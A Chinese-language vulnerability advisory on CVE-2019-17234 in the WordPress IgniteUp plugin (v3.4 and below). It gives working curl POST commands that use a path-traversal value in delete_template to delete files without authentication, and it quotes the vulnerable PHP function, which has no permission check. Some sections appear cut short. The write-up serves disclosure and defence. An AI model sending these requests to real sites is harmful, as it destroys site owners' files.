WordPress IgniteUp 插件 v3.4 及以下版本允许远程未认证用户潜在地任意删除目标 Web 服务器上的任何文件,可能导致拒绝服务攻击。
该漏洞于 2019 年 9 月 20 日报告给 wordpress.org 团队,新版本插件 3.4.1 于 2019 年 11 月 8 日发布。[3]
IgniteUp 是一款流行的 WordPress 插件,用于简化网站着陆页的设置和管理,让用户知道网站即将上线、正在维护或正在建设中。
该插件开箱即用地提供 5 个免费默认模板:believe,cleaner,glass,launcher,offline。
模板名称被突出显示,因为需要提供正确的 [template-name] 参数才能向 Web 服务器发出有效请求以利用该漏洞。
【警告】
以下命令示例可能足以破坏您的 WordPress 网站,本例中会删除 IgniteUp 插件的核心文件。
curl -d "action=admin_init&delete_template=[template-name]/../../" -X POST http(s)://[target-website]/wp-admin/admin-post.php
dummy example:
curl -d "action=admin_init&delete_template=believe/../../" -X POST http://localhost/wp-admin/admin-post.php
[注意] 上述命令在插件相对路径内执行目录遍历;在具有适当权限(Web 服务器目录为 755,Web 服务器文件为 644)以及正确的属主(www-data、apache 用户等)的情况下,攻击面最多可达服务器根目录(例如 /var/www/html)。
引入该漏洞的罪魁祸首函数在下面突出显示,相关文件位于 wp-content/plugins/igniteup/includes/class-coming-soon-creator.php,正如其名称所示,该文件负责处理新自定义模板的创建以及默认/已创建模板的删除。
V3.4
add_action('admin_init', array($this, 'deleteTemplate'));
...
...
public function deleteTemplate()
{
if (!isset($_POST['delete_template']) || empty($_POST['delete_template']))
return;
$folder_name = $_POST['delete_template'];
$path = dirname(CSCS_FILE) . '/includes/templates/';
array_map('unlink', glob($path . $folder_name . '/*.*'));
rmdir($path . $folder_name);
unlink($path . '/' . $folder_name . '.php');
header('Location: ' . $_SERVER['REQUEST_URI']);
}
第一行的 admin_init 是一个 WordPress 动作钩子。 钩子[2] 构成了插件和主题与 WordPress Core 交互的基础,但 Core 本身也广泛使用它们。
不幸的是,与该动作钩子关联的函数 deleteTemplate() 没有任何管理员/用户检查,这给读者提供了足够的提示来了解如何执行此类操作。查看代码很容易发现 PHP POST 参数 delete_template,再加上 admin_init 钩子动作,就足以尝试通过 /wp-admin/admin-post.php 接口向 Web 服务器发送 POST 请求,正如漏洞利用代码段落中所指出的那样。
[个人备注] 从 WordPress 管理用户的角度分析该插件的通常行为,发现这个函数很奇怪(我猜想这是早期版本遗留的),原因如下:
下面是我尝试 DirStroy 一个模板时 unlink 期间发生的情况示例。
admin-ajax.php 测试 v3.4.1 对比
[1] v3.4.1 更新日志- https://it.wordpress.org/plugins/igniteup/#developers
[2] WordPress 钩子- https://developer.wordpress.org/plugins/hooks/
[3] CVE-2019-17234 NIST 参考- https://nvd.nist.gov/vuln/detail/CVE-2019-17234